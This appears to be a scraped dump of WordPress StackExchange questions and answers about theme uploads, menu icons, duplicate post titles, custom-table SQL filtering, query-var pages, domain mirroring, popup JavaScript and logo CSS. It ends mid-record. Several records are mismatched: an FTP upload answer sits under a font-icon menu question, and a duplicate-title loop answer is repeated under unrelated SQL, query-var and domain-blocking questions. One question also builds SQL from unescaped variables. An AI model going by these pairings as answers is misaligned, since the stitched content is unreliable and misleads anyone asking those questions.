"text": "<p>The easiest way to do this is to upload them using FTP. You can use a free program like <a href=\"https://filezilla-project.org/download.php?type=client\" rel=\"nofollow noreferrer\">Filezilla</a> to upload your files to your server.</p>\n\n<p>You will need to know the host name (usually just your domain), user and password. If you don't know this info your hosting company will be able to assist you.</p>\n\n<p>Once connected, find the folder where WP is installed. This is typically inside of <code>/public_html/</code>. Your theme files are located in <code>/wp-content/themes/avada/</code>. You can upload your backup there.</p>\n\n<p>I would make sure you have current backups before doing anything.</p>\n"
},
{
"answer_id": 334741,
"author": "Arvind Singh",
"author_id": 113501,
"author_profile": "https://wordpress.stackexchange.com/users/113501",
"pm_score": 0,
"selected": false,
"text": "<p>All the themes file are uploaded in <strong><code>wp-content/themes/</code></strong> folder. If you have installed avada theme then you might find in <strong><code>/wp-content/themes/avada</code></strong>. simply make the zip file for avada and upload it to new site. </p>\n"
}
] | 2019/04/19 | [
"https://wordpress.stackexchange.com/questions/334801",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/152422/"
] | how to add fa fa icons customize menu using wp\_nav\_menu function?
```
wp_nav_menu( array(
'theme_location' => 'primary',
'menu_id' => 'footer-menu',
'menu_class' => 'quick-link',
));
``` | The easiest way to do this is to upload them using FTP. You can use a free program like [Filezilla](https://filezilla-project.org/download.php?type=client) to upload your files to your server.
You will need to know the host name (usually just your domain), user and password. If you don't know this info your hosting company will be able to assist you.
Once connected, find the folder where WP is installed. This is typically inside of `/public_html/`. Your theme files are located in `/wp-content/themes/avada/`. You can upload your backup there.
I would make sure you have current backups before doing anything. |
334,890 | <p>I am using a automatic rss post reader on my website and there is a problem with this plugin that sometimes publish duplicate posts.I can't do anything to this plugin but at least it is better if I could prevent to display the same titles on main page.
here is my code </p>
<pre><code> <ul>
<?php
$portfolio = new WP_Query(array(
'post_status' =>'publish',
'post_type' =>'post',
'cat' =>''.$link1.'',
'posts_per_page' =>'9'
));
if($portfolio->have_posts()) :
while($portfolio->have_posts()) : $portfolio->the_post();
?>
<li>
<a href="<?php the_permalink() ?>" target="_blank"><?php the_title(); ?></a>
</li>
<?php endwhile; endif; wp_reset_query(); ?>
</ul>
</code></pre>
<p><a href="https://i.stack.imgur.com/gNmvd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gNmvd.png" alt="see the example of problem on the image"></a></p>
| [
{
"answer_id": 334895,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 0,
"selected": false,
"text": "<p>You somehow have to get hold of the post IDs you want to exclude. By calling the plugin's <code>WP_Query</code> again for example and at best let you return only post IDs by <code>'fields' => 'ids'</code> this time.</p>\n\n<p>Then you can use the result to exclude these posts from your other queries by passing an array of post IDs to <code>'post__not_in'</code>. So let's assume you created an array of the posts you want to exclude that looks like that <code>$exlcude = [ 123, 456, 789 ]</code> then the query needs to look like this:</p>\n\n<pre><code>$args = array(\n 'post_status' =>'publish',\n 'post_type' =>'post',\n 'cat' => $link1,\n 'posts_per_page' => '9', \n);\n\nif ( ! empty( $exclude ) ) {\n $args['post__not_in'] = $exclude;\n}\n\nnew WP_Query($args);\n</code></pre>\n"
},
{
"answer_id": 334901,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 3,
"selected": true,
"text": "<p>Your code should look like this to exclude duplicate titles</p>\n\n<pre><code><ul>\n <?php\n // Initial counter for displayed posts.\n $counter = 1;\n // Initial empty array of displayed titles.\n $titles = [];\n\n $portfolio = new WP_Query([\n 'post_status' => 'publish',\n 'post_type' => 'post',\n 'cat' => '' . $link1 . '',\n // Because we don't know the number of duplicate titles, fetch all.\n 'posts_per_page' => -1,\n ]);\n\n if ( $portfolio->have_posts() ) :\n\n // Start the loop.\n while ( $portfolio->have_posts() ) : $portfolio->the_post();\n\n // If the current title has not been displayed already, display it.\n if ( ! in_array( get_the_title(), $titles ) ) {\n ?>\n <li>\n <a href=\"<?php the_permalink(); ?>\" target=\"_blank\">\n <?php the_title(); ?>\n </a>\n </li>\n <?php\n // Mark current title as displayed by adding it to the titles array.\n $titles[] = get_the_title();\n // Increase counter.\n $counter++;\n\n }\n\n // When we have displayed 10 posts the loop should stop.\n if ( $counter == 10 ) {\n break;\n }\n\n endwhile; endif;\n wp_reset_query(); ?>\n</ul>\n</code></pre>\n\n<p>I hope this may help!</p>\n"
}
] | 2019/04/21 | [
"https://wordpress.stackexchange.com/questions/334890",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/86854/"
] | I am using a automatic rss post reader on my website and there is a problem with this plugin that sometimes publish duplicate posts.I can't do anything to this plugin but at least it is better if I could prevent to display the same titles on main page.
here is my code
```
<ul>
<?php
$portfolio = new WP_Query(array(
'post_status' =>'publish',
'post_type' =>'post',
'cat' =>''.$link1.'',
'posts_per_page' =>'9'
));
if($portfolio->have_posts()) :
while($portfolio->have_posts()) : $portfolio->the_post();
?>
<li>
<a href="<?php the_permalink() ?>" target="_blank"><?php the_title(); ?></a>
</li>
<?php endwhile; endif; wp_reset_query(); ?>
</ul>
```
[](https://i.stack.imgur.com/gNmvd.png) | Your code should look like this to exclude duplicate titles
```
<ul>
<?php
// Initial counter for displayed posts.
$counter = 1;
// Initial empty array of displayed titles.
$titles = [];
$portfolio = new WP_Query([
'post_status' => 'publish',
'post_type' => 'post',
'cat' => '' . $link1 . '',
// Because we don't know the number of duplicate titles, fetch all.
'posts_per_page' => -1,
]);
if ( $portfolio->have_posts() ) :
// Start the loop.
while ( $portfolio->have_posts() ) : $portfolio->the_post();
// If the current title has not been displayed already, display it.
if ( ! in_array( get_the_title(), $titles ) ) {
?>
<li>
<a href="<?php the_permalink(); ?>" target="_blank">
<?php the_title(); ?>
</a>
</li>
<?php
// Mark current title as displayed by adding it to the titles array.
$titles[] = get_the_title();
// Increase counter.
$counter++;
}
// When we have displayed 10 posts the loop should stop.
if ( $counter == 10 ) {
break;
}
endwhile; endif;
wp_reset_query(); ?>
</ul>
```
I hope this may help! |
334,900 | <p>I want to filter the exact information from a custom WordPress table no matter the user has filled all the text boxes or not.
I have used a LIKE query but it`s not working properly if the user left one or two boxes but working fine with all the boxes are filled, I have also used OR query but that's too not working.</p>
<pre><code>$table_name = $wpdb->prefix . "credofy_contact_form";
$sql_query = "SELECT * FROM $table_name WHERE your_name LIKE '$name' AND your_email LIKE '$email' AND your_phone LIKE '$phone' AND your_hobby LIKE '$hobby'";
</code></pre>
<p><a href="https://i.stack.imgur.com/gNAwi.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gNAwi.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 334895,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 0,
"selected": false,
"text": "<p>You somehow have to get hold of the post IDs you want to exclude. By calling the plugin's <code>WP_Query</code> again for example and at best let you return only post IDs by <code>'fields' => 'ids'</code> this time.</p>\n\n<p>Then you can use the result to exclude these posts from your other queries by passing an array of post IDs to <code>'post__not_in'</code>. So let's assume you created an array of the posts you want to exclude that looks like that <code>$exlcude = [ 123, 456, 789 ]</code> then the query needs to look like this:</p>\n\n<pre><code>$args = array(\n 'post_status' =>'publish',\n 'post_type' =>'post',\n 'cat' => $link1,\n 'posts_per_page' => '9', \n);\n\nif ( ! empty( $exclude ) ) {\n $args['post__not_in'] = $exclude;\n}\n\nnew WP_Query($args);\n</code></pre>\n"
},
{
"answer_id": 334901,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 3,
"selected": true,
"text": "<p>Your code should look like this to exclude duplicate titles</p>\n\n<pre><code><ul>\n <?php\n // Initial counter for displayed posts.\n $counter = 1;\n // Initial empty array of displayed titles.\n $titles = [];\n\n $portfolio = new WP_Query([\n 'post_status' => 'publish',\n 'post_type' => 'post',\n 'cat' => '' . $link1 . '',\n // Because we don't know the number of duplicate titles, fetch all.\n 'posts_per_page' => -1,\n ]);\n\n if ( $portfolio->have_posts() ) :\n\n // Start the loop.\n while ( $portfolio->have_posts() ) : $portfolio->the_post();\n\n // If the current title has not been displayed already, display it.\n if ( ! in_array( get_the_title(), $titles ) ) {\n ?>\n <li>\n <a href=\"<?php the_permalink(); ?>\" target=\"_blank\">\n <?php the_title(); ?>\n </a>\n </li>\n <?php\n // Mark current title as displayed by adding it to the titles array.\n $titles[] = get_the_title();\n // Increase counter.\n $counter++;\n\n }\n\n // When we have displayed 10 posts the loop should stop.\n if ( $counter == 10 ) {\n break;\n }\n\n endwhile; endif;\n wp_reset_query(); ?>\n</ul>\n</code></pre>\n\n<p>I hope this may help!</p>\n"
}
] | 2019/04/21 | [
"https://wordpress.stackexchange.com/questions/334900",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/147511/"
] | I want to filter the exact information from a custom WordPress table no matter the user has filled all the text boxes or not.
I have used a LIKE query but it`s not working properly if the user left one or two boxes but working fine with all the boxes are filled, I have also used OR query but that's too not working.
```
$table_name = $wpdb->prefix . "credofy_contact_form";
$sql_query = "SELECT * FROM $table_name WHERE your_name LIKE '$name' AND your_email LIKE '$email' AND your_phone LIKE '$phone' AND your_hobby LIKE '$hobby'";
```
[](https://i.stack.imgur.com/gNAwi.png) | Your code should look like this to exclude duplicate titles
```
<ul>
<?php
// Initial counter for displayed posts.
$counter = 1;
// Initial empty array of displayed titles.
$titles = [];
$portfolio = new WP_Query([
'post_status' => 'publish',
'post_type' => 'post',
'cat' => '' . $link1 . '',
// Because we don't know the number of duplicate titles, fetch all.
'posts_per_page' => -1,
]);
if ( $portfolio->have_posts() ) :
// Start the loop.
while ( $portfolio->have_posts() ) : $portfolio->the_post();
// If the current title has not been displayed already, display it.
if ( ! in_array( get_the_title(), $titles ) ) {
?>
<li>
<a href="<?php the_permalink(); ?>" target="_blank">
<?php the_title(); ?>
</a>
</li>
<?php
// Mark current title as displayed by adding it to the titles array.
$titles[] = get_the_title();
// Increase counter.
$counter++;
}
// When we have displayed 10 posts the loop should stop.
if ( $counter == 10 ) {
break;
}
endwhile; endif;
wp_reset_query(); ?>
</ul>
```
I hope this may help! |
334,904 | <p>my wordpress site urls like this: <a href="https://example.com/?pid=a125a5&lang=en" rel="nofollow noreferrer">https://example.com/?pid=a125a5&lang=en</a> and query of my archive page like this:</p>
<pre><code><?php
$the_slug = get_query_var('pid');
if ($the_slug){
if ( $post = get_page_by_path( $the_slug, OBJECT, 'myposttype' ) )
$id = $post->ID;
else
$id = 0;
?>
<?php get_header(); ?>
<div class="warpper">
<?php ;
$args = array(
'name' => $the_slug,
'post_type' => 'myposttype',
'post_status' => 'publish',
'numberposts' => 1,
);
$query = new WP_Query( $args );
if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>
<?php the_title(); ?>
<?php endwhile; else: ?><?php endif; ?>
<php } else{...};
</code></pre>
<p>its work but commands like <code>is_single()</code> return false and wordpress not showing edit post in admin bar.</p>
| [
{
"answer_id": 334895,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 0,
"selected": false,
"text": "<p>You somehow have to get hold of the post IDs you want to exclude. By calling the plugin's <code>WP_Query</code> again for example and at best let you return only post IDs by <code>'fields' => 'ids'</code> this time.</p>\n\n<p>Then you can use the result to exclude these posts from your other queries by passing an array of post IDs to <code>'post__not_in'</code>. So let's assume you created an array of the posts you want to exclude that looks like that <code>$exlcude = [ 123, 456, 789 ]</code> then the query needs to look like this:</p>\n\n<pre><code>$args = array(\n 'post_status' =>'publish',\n 'post_type' =>'post',\n 'cat' => $link1,\n 'posts_per_page' => '9', \n);\n\nif ( ! empty( $exclude ) ) {\n $args['post__not_in'] = $exclude;\n}\n\nnew WP_Query($args);\n</code></pre>\n"
},
{
"answer_id": 334901,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 3,
"selected": true,
"text": "<p>Your code should look like this to exclude duplicate titles</p>\n\n<pre><code><ul>\n <?php\n // Initial counter for displayed posts.\n $counter = 1;\n // Initial empty array of displayed titles.\n $titles = [];\n\n $portfolio = new WP_Query([\n 'post_status' => 'publish',\n 'post_type' => 'post',\n 'cat' => '' . $link1 . '',\n // Because we don't know the number of duplicate titles, fetch all.\n 'posts_per_page' => -1,\n ]);\n\n if ( $portfolio->have_posts() ) :\n\n // Start the loop.\n while ( $portfolio->have_posts() ) : $portfolio->the_post();\n\n // If the current title has not been displayed already, display it.\n if ( ! in_array( get_the_title(), $titles ) ) {\n ?>\n <li>\n <a href=\"<?php the_permalink(); ?>\" target=\"_blank\">\n <?php the_title(); ?>\n </a>\n </li>\n <?php\n // Mark current title as displayed by adding it to the titles array.\n $titles[] = get_the_title();\n // Increase counter.\n $counter++;\n\n }\n\n // When we have displayed 10 posts the loop should stop.\n if ( $counter == 10 ) {\n break;\n }\n\n endwhile; endif;\n wp_reset_query(); ?>\n</ul>\n</code></pre>\n\n<p>I hope this may help!</p>\n"
}
] | 2019/04/21 | [
"https://wordpress.stackexchange.com/questions/334904",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165509/"
] | my wordpress site urls like this: <https://example.com/?pid=a125a5&lang=en> and query of my archive page like this:
```
<?php
$the_slug = get_query_var('pid');
if ($the_slug){
if ( $post = get_page_by_path( $the_slug, OBJECT, 'myposttype' ) )
$id = $post->ID;
else
$id = 0;
?>
<?php get_header(); ?>
<div class="warpper">
<?php ;
$args = array(
'name' => $the_slug,
'post_type' => 'myposttype',
'post_status' => 'publish',
'numberposts' => 1,
);
$query = new WP_Query( $args );
if ( $query->have_posts() ) : while ( $query->have_posts() ) : $query->the_post(); ?>
<?php the_title(); ?>
<?php endwhile; else: ?><?php endif; ?>
<php } else{...};
```
its work but commands like `is_single()` return false and wordpress not showing edit post in admin bar. | Your code should look like this to exclude duplicate titles
```
<ul>
<?php
// Initial counter for displayed posts.
$counter = 1;
// Initial empty array of displayed titles.
$titles = [];
$portfolio = new WP_Query([
'post_status' => 'publish',
'post_type' => 'post',
'cat' => '' . $link1 . '',
// Because we don't know the number of duplicate titles, fetch all.
'posts_per_page' => -1,
]);
if ( $portfolio->have_posts() ) :
// Start the loop.
while ( $portfolio->have_posts() ) : $portfolio->the_post();
// If the current title has not been displayed already, display it.
if ( ! in_array( get_the_title(), $titles ) ) {
?>
<li>
<a href="<?php the_permalink(); ?>" target="_blank">
<?php the_title(); ?>
</a>
</li>
<?php
// Mark current title as displayed by adding it to the titles array.
$titles[] = get_the_title();
// Increase counter.
$counter++;
}
// When we have displayed 10 posts the loop should stop.
if ( $counter == 10 ) {
break;
}
endwhile; endif;
wp_reset_query(); ?>
</ul>
```
I hope this may help! |
334,910 | <p>Seems someone has set their domain to use my server. It's not a mirror, the database and everything works and updates with mine. He's basically stealing my content, and he's showing up on google instead of me.</p>
<p>Is there a way to make it so my server will only respond to requests from my domain?</p>
<p>I'm using Wordpress with Apache2. Block IP with .htaccess not works</p>
| [
{
"answer_id": 334895,
"author": "leymannx",
"author_id": 30597,
"author_profile": "https://wordpress.stackexchange.com/users/30597",
"pm_score": 0,
"selected": false,
"text": "<p>You somehow have to get hold of the post IDs you want to exclude. By calling the plugin's <code>WP_Query</code> again for example and at best let you return only post IDs by <code>'fields' => 'ids'</code> this time.</p>\n\n<p>Then you can use the result to exclude these posts from your other queries by passing an array of post IDs to <code>'post__not_in'</code>. So let's assume you created an array of the posts you want to exclude that looks like that <code>$exlcude = [ 123, 456, 789 ]</code> then the query needs to look like this:</p>\n\n<pre><code>$args = array(\n 'post_status' =>'publish',\n 'post_type' =>'post',\n 'cat' => $link1,\n 'posts_per_page' => '9', \n);\n\nif ( ! empty( $exclude ) ) {\n $args['post__not_in'] = $exclude;\n}\n\nnew WP_Query($args);\n</code></pre>\n"
},
{
"answer_id": 334901,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 3,
"selected": true,
"text": "<p>Your code should look like this to exclude duplicate titles</p>\n\n<pre><code><ul>\n <?php\n // Initial counter for displayed posts.\n $counter = 1;\n // Initial empty array of displayed titles.\n $titles = [];\n\n $portfolio = new WP_Query([\n 'post_status' => 'publish',\n 'post_type' => 'post',\n 'cat' => '' . $link1 . '',\n // Because we don't know the number of duplicate titles, fetch all.\n 'posts_per_page' => -1,\n ]);\n\n if ( $portfolio->have_posts() ) :\n\n // Start the loop.\n while ( $portfolio->have_posts() ) : $portfolio->the_post();\n\n // If the current title has not been displayed already, display it.\n if ( ! in_array( get_the_title(), $titles ) ) {\n ?>\n <li>\n <a href=\"<?php the_permalink(); ?>\" target=\"_blank\">\n <?php the_title(); ?>\n </a>\n </li>\n <?php\n // Mark current title as displayed by adding it to the titles array.\n $titles[] = get_the_title();\n // Increase counter.\n $counter++;\n\n }\n\n // When we have displayed 10 posts the loop should stop.\n if ( $counter == 10 ) {\n break;\n }\n\n endwhile; endif;\n wp_reset_query(); ?>\n</ul>\n</code></pre>\n\n<p>I hope this may help!</p>\n"
}
] | 2019/04/21 | [
"https://wordpress.stackexchange.com/questions/334910",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/139889/"
] | Seems someone has set their domain to use my server. It's not a mirror, the database and everything works and updates with mine. He's basically stealing my content, and he's showing up on google instead of me.
Is there a way to make it so my server will only respond to requests from my domain?
I'm using Wordpress with Apache2. Block IP with .htaccess not works | Your code should look like this to exclude duplicate titles
```
<ul>
<?php
// Initial counter for displayed posts.
$counter = 1;
// Initial empty array of displayed titles.
$titles = [];
$portfolio = new WP_Query([
'post_status' => 'publish',
'post_type' => 'post',
'cat' => '' . $link1 . '',
// Because we don't know the number of duplicate titles, fetch all.
'posts_per_page' => -1,
]);
if ( $portfolio->have_posts() ) :
// Start the loop.
while ( $portfolio->have_posts() ) : $portfolio->the_post();
// If the current title has not been displayed already, display it.
if ( ! in_array( get_the_title(), $titles ) ) {
?>
<li>
<a href="<?php the_permalink(); ?>" target="_blank">
<?php the_title(); ?>
</a>
</li>
<?php
// Mark current title as displayed by adding it to the titles array.
$titles[] = get_the_title();
// Increase counter.
$counter++;
}
// When we have displayed 10 posts the loop should stop.
if ( $counter == 10 ) {
break;
}
endwhile; endif;
wp_reset_query(); ?>
</ul>
```
I hope this may help! |
334,912 | <p>I have set up a loop to pull in staff bios. When a user clicks on the thumbnail of the staff member a popup with the complete bio information for that "post" should be displayed. I have been able to connect most things, but when I click on a bio, the content of the popup is always from the last post. I assume this is because the script is outside of the loop. I can't imagine that putting the script inside the loop is a good idea. Sorry, total rookie here. Can you please help me understand how I should set up the JS to display the correct information for each post?</p>
<p>Here is my loop code:</p>
<pre><code><?php
$staff = new WP_Query(array(
'posts_per_page' => -1,
'post_type' => 'staff_bios',
'orderby' => 'title',
'order' => 'ASC'
));
while($staff->have_posts()){
$staff->the_post(); ?>
//Below is what should display for each post.
<div class="staff-thumb" onclick="staffDetails()">
//Thumbnail details here
</div>
//Below is the pop up container (hidden until called).
<div id="<?php the_ID()?>" class="popup-wrap">
<div class="popup-content">
<span onclick="staffDetailsClose()" class="close">×</span>
<h4><?php the_title(); ?></h4>
//The rest of the bio details
</div>
</div>
<?php }
?>
//Here is the Javascript (outside the loop, for now).
<script>
function staffDetails() {
document.getElementById("<?php the_ID()?>").style.display = "block";
}
function staffDetailsClose() {
document.getElementById("<?php the_ID()?>").style.display = "none";
}
window.onclick = function(event) {
if(event.target == document.getElementById("<?php the_ID()?>")) {
document.getElementById("<?php the_ID()?>").style.display = "none";
}
}
</script>
</code></pre>
<p>I appreciate any help, including the reference to other documentation. Also, since I am new on here, please let me know if you think this question could be set up differently or if you have any questions about what I am asking.</p>
| [
{
"answer_id": 334919,
"author": "Brada",
"author_id": 161366,
"author_profile": "https://wordpress.stackexchange.com/users/161366",
"pm_score": 0,
"selected": false,
"text": "<p>You use the_ID() function outside the loop, this is a function that should be used inside. Also your approach of JavaScript could have been better by:</p>\n\n<ol>\n<li>Instead of targeting each element by ID, target them by a class. ( If you have more elements, you will need to generate for each one a JavaScript function, which doesn't look like a good approach. Having a class with for example a name like \"js-toggle-staff-tooltip\" looks more good in HTML code. )</li>\n<li>Don't modify the CSS directly, use a class, which you can toggle(add,remove), as you want. (This is a good practices : <a href=\"https://stackoverflow.com/questions/22809850/best-practice-for-manipulating-css-from-javascript\">link</a>)</li>\n</ol>\n\n<p>There are a lot more to say... but I think this is enough...</p>\n"
},
{
"answer_id": 334926,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": -1,
"selected": true,
"text": "<p>This may help </p>\n\n<pre><code><?php\n$staff = new WP_Query(array(\n 'posts_per_page' => -1,\n 'post_type' => 'staff_bios',\n 'orderby' => 'title',\n 'order' => 'ASC'\n));\n\nwhile($staff->have_posts()){\n $staff->the_post(); ?>\n\n//Below is what should display for each post.\n\n<div class=\"staff-thumb\" onclick=\"staffDetails(<?php the_ID(); ?>)\">\n //Thumbnail details here \n</div>\n\n//Below is the pop up container (hidden until called).\n\n<div id=\"<?php the_ID()?>\" class=\"popup-wrap\">\n <div class=\"popup-content\">\n <span onclick=\"staffDetailsClose(<?php the_ID(); ?>)\" class=\"close\">×</span>\n <h4><?php the_title(); ?></h4>\n //The rest of the bio details\n </div>\n</div>\n<?php }\n?>\n\n\n//Here is the Javascript (outside the loop, for now).\n<script>\n modal = '';\n\n function staffDetails( p_id ) {\n modal = document.getElementById(p_id);\n modal.style.display = \"block\";\n }\n\n function staffDetailsClose( p_id ) {\n document.getElementById( p_id ).style.display = \"none\";\n modal = '';\n\n }\n\n// based on https://www.w3schools.com/w3css/tryit.asp?filename=tryw3css_modal_close\n\n// When the user clicks anywhere outside of the modal, close it. NOT TESTED\nwindow.onclick = function(event) {\n if(event.target == modal) {\n modal.style.display = \"none\";\n }\n}\n\n</script>\n</code></pre>\n"
}
] | 2019/04/21 | [
"https://wordpress.stackexchange.com/questions/334912",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165195/"
] | I have set up a loop to pull in staff bios. When a user clicks on the thumbnail of the staff member a popup with the complete bio information for that "post" should be displayed. I have been able to connect most things, but when I click on a bio, the content of the popup is always from the last post. I assume this is because the script is outside of the loop. I can't imagine that putting the script inside the loop is a good idea. Sorry, total rookie here. Can you please help me understand how I should set up the JS to display the correct information for each post?
Here is my loop code:
```
<?php
$staff = new WP_Query(array(
'posts_per_page' => -1,
'post_type' => 'staff_bios',
'orderby' => 'title',
'order' => 'ASC'
));
while($staff->have_posts()){
$staff->the_post(); ?>
//Below is what should display for each post.
<div class="staff-thumb" onclick="staffDetails()">
//Thumbnail details here
</div>
//Below is the pop up container (hidden until called).
<div id="<?php the_ID()?>" class="popup-wrap">
<div class="popup-content">
<span onclick="staffDetailsClose()" class="close">×</span>
<h4><?php the_title(); ?></h4>
//The rest of the bio details
</div>
</div>
<?php }
?>
//Here is the Javascript (outside the loop, for now).
<script>
function staffDetails() {
document.getElementById("<?php the_ID()?>").style.display = "block";
}
function staffDetailsClose() {
document.getElementById("<?php the_ID()?>").style.display = "none";
}
window.onclick = function(event) {
if(event.target == document.getElementById("<?php the_ID()?>")) {
document.getElementById("<?php the_ID()?>").style.display = "none";
}
}
</script>
```
I appreciate any help, including the reference to other documentation. Also, since I am new on here, please let me know if you think this question could be set up differently or if you have any questions about what I am asking. | This may help
```
<?php
$staff = new WP_Query(array(
'posts_per_page' => -1,
'post_type' => 'staff_bios',
'orderby' => 'title',
'order' => 'ASC'
));
while($staff->have_posts()){
$staff->the_post(); ?>
//Below is what should display for each post.
<div class="staff-thumb" onclick="staffDetails(<?php the_ID(); ?>)">
//Thumbnail details here
</div>
//Below is the pop up container (hidden until called).
<div id="<?php the_ID()?>" class="popup-wrap">
<div class="popup-content">
<span onclick="staffDetailsClose(<?php the_ID(); ?>)" class="close">×</span>
<h4><?php the_title(); ?></h4>
//The rest of the bio details
</div>
</div>
<?php }
?>
//Here is the Javascript (outside the loop, for now).
<script>
modal = '';
function staffDetails( p_id ) {
modal = document.getElementById(p_id);
modal.style.display = "block";
}
function staffDetailsClose( p_id ) {
document.getElementById( p_id ).style.display = "none";
modal = '';
}
// based on https://www.w3schools.com/w3css/tryit.asp?filename=tryw3css_modal_close
// When the user clicks anywhere outside of the modal, close it. NOT TESTED
window.onclick = function(event) {
if(event.target == modal) {
modal.style.display = "none";
}
}
</script>
``` |
334,974 | <p>I use front-page.php on my template to display home page. But I want to disable if the user uses another page for the home page from settings. Is there a solution? When user select a page from settings for home page, it not showed and front-page.php is loaded. I want to it disabled dynamically.
Sorry for bad english.</p>
| [
{
"answer_id": 334978,
"author": "Antti Koskinen",
"author_id": 144392,
"author_profile": "https://wordpress.stackexchange.com/users/144392",
"pm_score": 2,
"selected": false,
"text": "<p>Maybe <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/template_include\" rel=\"nofollow noreferrer\"><code>template_include</code></a> filter would get the job done for you. Something along these lines,</p>\n\n<pre><code>function prefix_another_front_page_template( $template ) { \n if ( is_front_page() ) {\n $another_front_page_template = 'something.php'; // adjust as needed\n $new_template = locate_template( array( $another_front_page_template ) );\n if ( !empty( $new_template ) ) {\n return $new_template;\n }\n } \n return $template;\n}\nadd_filter( 'template_include', 'prefix_another_front_page_template', 99 );\n</code></pre>\n"
},
{
"answer_id": 335082,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 0,
"selected": false,
"text": "<p>Just don't use front-page.php then. As you can see in the <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">template hierarchy</a> if the user doesn't select a front page then home.php will be used. So you can use this for the front page if a user doesn't have a page set, and then if you don't include front-page.php in your template the theme will fall back to the default page template if they do select a page.</p>\n"
}
] | 2019/04/22 | [
"https://wordpress.stackexchange.com/questions/334974",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/153899/"
] | I use front-page.php on my template to display home page. But I want to disable if the user uses another page for the home page from settings. Is there a solution? When user select a page from settings for home page, it not showed and front-page.php is loaded. I want to it disabled dynamically.
Sorry for bad english. | Maybe [`template_include`](https://codex.wordpress.org/Plugin_API/Filter_Reference/template_include) filter would get the job done for you. Something along these lines,
```
function prefix_another_front_page_template( $template ) {
if ( is_front_page() ) {
$another_front_page_template = 'something.php'; // adjust as needed
$new_template = locate_template( array( $another_front_page_template ) );
if ( !empty( $new_template ) ) {
return $new_template;
}
}
return $template;
}
add_filter( 'template_include', 'prefix_another_front_page_template', 99 );
``` |
334,980 | <p>I'm using the twenty fifteen theme.</p>
<p>I have a logo set using the WP Customizer.</p>
<p>I want to have the image change on mobile or tablet view.</p>
<p>The breakpoint is anything smaller than 59.6875em.</p>
<p>I'm using this code:</p>
<pre><code>@media only screen and (max-width: 59.6875em) {
.custom-logo {
content: url("https://www.example.com/example/wp-content/uploads/Logo_Wide_2x.png");
width: 300px;
}
}
</code></pre>
<p>It works in Chrome but not Firefox.</p>
<p>I've tried adding :before and :after and adding an <code>a</code> tag, as suggested on other answers, but none of that works.</p>
<p>Can anyone suggest what's wrong, and how I can get this to work on Firefox?</p>
<p>Here is the html:</p>
<pre><code><div class="site-branding">
<a href="https://www.example.com/example/aa00/" class="custom-logo-link" rel="home" itemprop="url"><img src="https://www.example.com/example/aa00/wp-content/uploads/sites/2/2019/04/cropped-Logo_248_2x.png" class="custom-logo" alt="Seed" itemprop="logo" srcset="https://www.example.com/example/aa00/wp-content/uploads/sites/2/2019/04/cropped-Logo_248_2x.png 248w, https://www.example.com/example/aa00/wp-content/uploads/sites/2/2019/04/cropped-Logo_248_2x-150x150.png 150w" sizes="(max-width: 248px) 100vw, 248px" width="248" height="248"></a>
</div>
</code></pre>
| [
{
"answer_id": 334986,
"author": "Iisrael",
"author_id": 165195,
"author_profile": "https://wordpress.stackexchange.com/users/165195",
"pm_score": -1,
"selected": false,
"text": "<p>This can be done with classes for each screen size and media queries. I saw this answered on this page originally: <a href=\"https://stackoverflow.com/questions/34984737/display-a-different-logo-on-mobile-and-desktop\">https://stackoverflow.com/questions/34984737/display-a-different-logo-on-mobile-and-desktop</a></p>\n\n<pre><code><style>\n/* hide mobile version by default */\n.logo .mobile {\ndisplay: none;\n }\n\n/* when screen is less than 59.6875em wide\n show mobile version and hide desktop */\n@media (max-width: 59.6875em) {\n.logo .mobile {\n display: block;\n}\n.logo .desktop {\n display: none;\n}\n}\n</style>\n\n<div class=\"logo\">\n <img src=\"/images/logo_desktop.png\" class=\"desktop\" />\n <img src=\"/images/logo_mobile.png\" class=\"mobile />\n</div>\n</code></pre>\n"
},
{
"answer_id": 334994,
"author": "RiddleMeThis",
"author_id": 86845,
"author_profile": "https://wordpress.stackexchange.com/users/86845",
"pm_score": 2,
"selected": true,
"text": "<p>Instead of trying to change the URL of the img tag, use your media query to hide the image and change the <code>:before</code> of your <code><a></code>. Like this...</p>\n\n<pre><code>@media screen and (max-width: 59.6875em) {\n .site-branding img {\n display:none;\n }\n .site-branding a::before {\n content: url(\"https://www.example.com/example/wp-content/uploads/Logo_Wide_2x.png\");\n }\n}\n</code></pre>\n"
}
] | 2019/04/22 | [
"https://wordpress.stackexchange.com/questions/334980",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/114749/"
] | I'm using the twenty fifteen theme.
I have a logo set using the WP Customizer.
I want to have the image change on mobile or tablet view.
The breakpoint is anything smaller than 59.6875em.
I'm using this code:
```
@media only screen and (max-width: 59.6875em) {
.custom-logo {
